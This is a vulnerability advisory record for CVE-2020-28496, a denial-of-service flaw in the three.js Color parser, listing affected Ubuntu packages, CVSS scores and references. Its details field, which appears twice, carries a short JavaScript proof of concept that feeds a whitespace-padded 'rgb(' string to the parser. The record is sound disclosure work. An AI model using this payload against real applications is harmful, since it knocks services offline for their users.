ubuntu-cve-2020-28496
Vulnerability from osv_ubuntu
Published
2021-02-18 15:15
Modified
2026-05-20 14:52
Summary
Details
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Severity
7.5 (High)
7.5 (High)
N/A (UNKNOWN)
References
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "73+dfsg-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:16.04:LTS",
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js@73+dfsg-1?arch=source\u0026distro=xenial"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"73+dfsg-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "80+dfsg2-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:18.04:LTS",
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js@80+dfsg2-1?arch=source\u0026distro=bionic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"80+dfsg2-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "111+dfsg1-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:20.04:LTS",
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js@111+dfsg1-1?arch=source\u0026distro=focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"80+dfsg2-2",
"111+dfsg1-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "111+dfsg1-2"
}
]
},
"package": {
"ecosystem": "Ubuntu:22.04:LTS",
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js@111+dfsg1-2?arch=source\u0026distro=jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"111+dfsg1-2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "111+dfsg1-3"
}
]
},
"package": {
"ecosystem": "Ubuntu:24.04:LTS",
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js@111+dfsg1-3?arch=source\u0026distro=noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"111+dfsg1-3"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "111+dfsg1-3"
}
]
},
"package": {
"ecosystem": "Ubuntu:25.10",
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js@111+dfsg1-3?arch=source\u0026distro=questing"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"111+dfsg1-3"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "libjs-three",
"binary_version": "111+dfsg1-5"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "three.js",
"purl": "pkg:deb/ubuntu/three.js@111+dfsg1-5?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"111+dfsg1-3",
"111+dfsg1-3build1",
"111+dfsg1-4",
"111+dfsg1-5"
]
}
],
"aliases": [],
"details": "This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require(\u0027three\u0027) function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i \u003c n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")",
"id": "UBUNTU-CVE-2020-28496",
"modified": "2026-05-20T14:52:35Z",
"published": "2021-02-18T15:15:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2020-28496"
},
{
"type": "REPORT",
"url": "https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"
},
{
"type": "REPORT",
"url": "https://github.com/mrdoob/three.js/issues/21132"
},
{
"type": "REPORT",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"
},
{
"type": "REPORT",
"url": "https://snyk.io/vuln/SNYK-JS-THREE-1064931"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-28496"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2020-28496"
]
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…